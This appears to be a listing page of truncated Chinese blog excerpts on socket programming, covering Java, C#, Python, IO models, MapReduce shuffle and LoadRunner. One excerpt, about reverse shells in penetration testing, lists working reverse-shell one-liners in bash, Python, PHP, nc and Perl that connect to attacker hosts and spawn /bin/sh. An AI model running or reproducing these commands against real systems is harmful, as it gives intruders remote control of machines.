socket

　　前面我们在章节“ Socket通讯探索(一) ”中如何实现一个tcp连接，但是这仅仅是一个最初级的BIO实现，且没有添加线程池，实际应用中很少采用这种方式，因为不得不考虑当大量的Tcp连接建立的时候，服务端如何安全稳定的运行？为什么呢？ 　　1、BIO实现方式，是阻塞式的（上一节最后面的实现方式虽然无数据的时候，不会阻塞）； 　　2、服务端为每条连接都开辟了一个线程进行处理，而且在连接不断开的情况下，线程不会得到释放； 　　基于以上情况，当有大量的连接建立的时候，服务端会开辟大量的线程处理并得不到释放，而线程会占用系统资源，这样就会导致系统资源耗尽，没有系统资源的连接请求将会等待处理，更甚至程序直接崩溃,所以最直接的方式是添加线程池防止程序崩溃，大量的连接的处理则还还需要另想他法。 　　大家都知道当web应用面临大量的请求时，我们会对其进行集群或分布式等方式部署，同理，我们也可以对socket服务端进行多处部署。 　　通常，由于Tcp连接中客户端需要知道服务端的IP跟端口，那么这就意味着客户端需要知道所有的目标服务器的地址和端口，如果有那么一台主机专门用于对我们的服务器进行负载均衡，然后将负载均衡完成后选择的地址跟端口返回给客户端，然后客户端再发起真实的连接请求。具体的请求过程如下图(详细请参考: https://wenku.baidu.com/view

工作中常用到的一些知识点，总是用完就忘，第一次尝试用博客记录下来，以备后用； Socket通讯，Socket（套接字）是基于TCP/IP通讯方式的封装好的类，调用时需要添加下面的服务引用： .......10 using System.Net; 11 using System.Net.Sockets; 窗体页面搭建，上面为服务器区，下面为客户端区： 建立两个类，一个表示服务器，一个表示客户端， 首先建立服务器类： 1.声明变量：IP地址，端口号，EndPoint，Socket类，数据Buffer等 1 string ip;//IP地址 2 string port;//端口号 3 IPEndPoint endPoint;//网络端点 4 Socket socServer;//侦听连接套接字 5 Socket socClient;//通讯套接字 6 byte[] dataReceived = new byte[50000]; 7 8 public delegate void delegateDisplayMsg(string type,string msg); 9 public delegateDisplayMsg OnDisplay; 10 11 public SocketServer() 12 { 13 socServer = new Socket(AddressFamily

使用springboot 和 redis 的list 的队列属性 实现 socket 长连接请求服务器功能 话不多说直接上代码： package com.veoer.mind.manager; import net.sf.json.JSONObject; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.context.annotation.Configuration; import org.springframework.stereotype.Component; import java.io.*; import java.net.InetSocketAddress; import java.net.Socket; import java.net.SocketAddress; import java.util.concurrent.TimeUnit; /** * auth wxt 2020-01-15 * socket 长连接处理 */ @Component @Configuration public class

目录 第一章 网络编程入门 1.1软件结构 1.2 网络通信协议 1.3 协议分类 1.4 网络编程三要素 协议 IP地址 端口号 第二章 TCP通信程序 2.1 概述 2.2 Socket类 构造方法 成员方法 2.3 ServerSocket类 构造方法 成员方法 2.4 简单的TCP网络程序 TCP通信分析图解 客户端向服务器发送数据 服务器向客户端回写数据 第三章 综合案例 3.1 文件上传案例 文件上传分析图解 基本实现 文件上传优化分析 优化实现 信息回写分析图解 回写实现 3.2 模拟B\S服务器(扩展知识点) 案例分析 案例实现 访问效果 第一章 网络编程入门 1.1软件结构 C/S结构 ：全称为Client/Server结构，是指客户端和服务器结构。常见程序有ＱＱ、迅雷等软件。 B/S结构 ：全称为Browser/Server结构，是指浏览器和服务器结构。常见浏览器有谷歌、火狐等。 两种架构各有优势，但是无论哪种架构，都离不开网络的支持。 网络编程 ，就是在一定的协议下，实现两台计算机的通信的程序。 1.2 网络通信协议 **网络通信协议：**通过计算机网络可以使多台计算机实现连接，位于同一个网络中的计算机在进行连接和通信时需要遵守一定的规则，这就好比在道路中行驶的汽车一定要遵守交通规则一样。在计算机网络中，这些连接和通信的规则被称为网络通信协议

我们在进行编程开发的时候，经常会涉及到同步，异步，阻塞，非阻塞，IO多路复用等概念，这几个概念有区别，但是有时候也容易混淆，如果不总结一下的话很容易受到困扰，下面就记录一下这几个概念的理解。 Unix网络编程中的五种IO模型 Blocking IO - 阻塞IO NoneBlocking IO - 非阻塞IO IO multiplexing - IO多路复用 signal driven IO - 信号驱动IO asynchronous IO - 异步IO 由于 signal driven IO 在实际使用中并不常用，所以这里只讨论剩下的四种IO模型。 在讨论之前先说明一下IO发生时涉及到的对象和步骤，对于一个network IO，它会涉及到两个系统对象： application 调用这个IO的进程 kernel 系统内核 那他们经历的两个交互过程是： 阶段1 wait for data 等待数据准备 阶段2 copy data from kernel to user 将数据从内核拷贝到用户进程中 之所以会有同步、异步、阻塞和非阻塞这几种说法就是根据程序在这两个阶段的处理方式不同而产生的。了解了这些背景之后，我们就分别针对四种IO模型进行讲解。 Blocking IO - 阻塞IO 在linux中，默认情况下所有的socket都是blocking，一个典型的读操作流程大概如下图：

server.py代码 import socket # 导入 socket 模块 from threading import Thread import time import json ADDRESS = ( '127.0.0.1' , 8712 ) # 绑定地址 g_socket_server = None # 负责监听的socket g_conn_pool = { } # 连接池 def init ( ) : """ 初始化服务端 """ global g_socket_server g_socket_server = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) g_socket_server . bind ( ADDRESS ) g_socket_server . listen ( 5 ) # 最大等待数（有很多人理解为最大连接数，其实是错误的） print ( "server start，wait for client connecting..." ) def accept_client ( ) : """ 接收新连接 """ while True : client , info = g_socket_server . accept ( ) # 阻塞，等待客户端连接 #

模拟一个在线音乐播放程序（数据库 + socket（TCP协议）） 1，使用C/S架构来进行设计，分别写出客户端和服务器程序， 2，客户端链接服务器之后，服务器向用户提示可以选择的歌曲列表，用户选择后开始播放（音频文件存放在本地即可）。不需要实现暂停、切歌等功能 3，需要把常用功能封装为一个工具模块（.py文件），并对其进行调用 1. 创建数据库数据 1 1. 创建数据库 2 create database song; 3 use song; 4 5 2. 创建表 6 create table t_list( 7 id int primary key auto_increment, 8 name varchar(32) not null, 9 link varchar(2000) not null 10 ); 11 3. 数据库插入数据(后面的link字段中 需要放音乐文件在电脑上的本地路径，以供后面播放文件时调用) 12 Insert into t_list(name,link) values('stay_with_me', '/Users/.../StayWithMe.mp3'); 13 insert into t_list(name,link) values('Virtual Riot Lift Me_Up', '/Users/.../VirtualRiotLiftMe_Up

渗透中反弹shell与端口 bash版本： bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 注意这个是由解析shell的bash完成，所以某些情况下不支持 python版本: `python-c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'` php版本： php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' nc版本： nc -e /bin/sh 223.8.200.234 1234 nc不使用-e： mknod /tmp/backpipe p/bin/sh 0</tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe perl版本: perl-e'use Socket;$i="10.0.0.1";$p=1234;

mr的shuffle mapShuffle 数据存到hdfs中是以块进行存储的，每一个块对应一个分片，maptask就是从分片中获取数据的 在某个节点上启动了map Task,map Task读取是通过k-v来读取的,读取的数据会放到环形缓存区，这样做的目的是为了防止IO的访问次数,然后环形缓存区的内存达到一定的阀值的 时候会把文件益写到磁盘，溢出的各种小文件会合并成一个大文件，这个合并的过程中会进行排序，这个排序叫做归并排序 map阶段会涉及到 1.sort排序(默认按字典排序) 2.合并(combiner合并) 3.文件合并(merage 合并 总共有三种，默认是内存到磁盘) 4.压缩（设置压缩就会执行） reduce Shuffle 归并排序完成后reduce端会拉取map端的数据，拉取的这个过程叫做copy过程，拉取的数据合并成一个文件，GroupComparator(默认,这个我们也可以自定义)是专门对文件夹里面的key进行分组 然后就形成k-List(v1,v2,v3)的形式，然后reduce经过业务处理，最终输出到hdfs，如果设置压缩就会执行，不设置则不执行 reduce阶段会涉及到： 1.sort排序 2.分组（将相同的key的value放到一个容器的过程） 3.merge文件合并 4.压缩 spark shuffle的版本一 1

1、确定要使用Http+Socket协议进行通讯，不能确定的，可找程序核实。 2、进入LoadRunner，选择Http、Sockets 3、录制脚本。。。。。。 4、Action lrs_create_socket("socket0", "TCP", "LocalHost=0", "RemoteHost=192.168.1.221:8001", LrsLastArg); lrs_send("socket0", "buf0", LrsLastArg); lrs_receive("socket0", "buf1", LrsLastArg); lrs_close_socket("socket0"); lrs_create_socket():创建socket连接 lrs_send()：发送socket包 lrs_receive():接收socket包 lrs_close_socket():关闭socket包 5、data.ws 　　data.ws:socket的数据，包括每个buf文件及内容。 send 客户端发送操作标识 recv 客户端接收操作标识 buf*　 对应socket中的每步数据标识 23 buf长度 "<policy-file-request/>" "\x00" buf具体内容(F7可查看EBCDIC Translation) send buf0 23 "<policy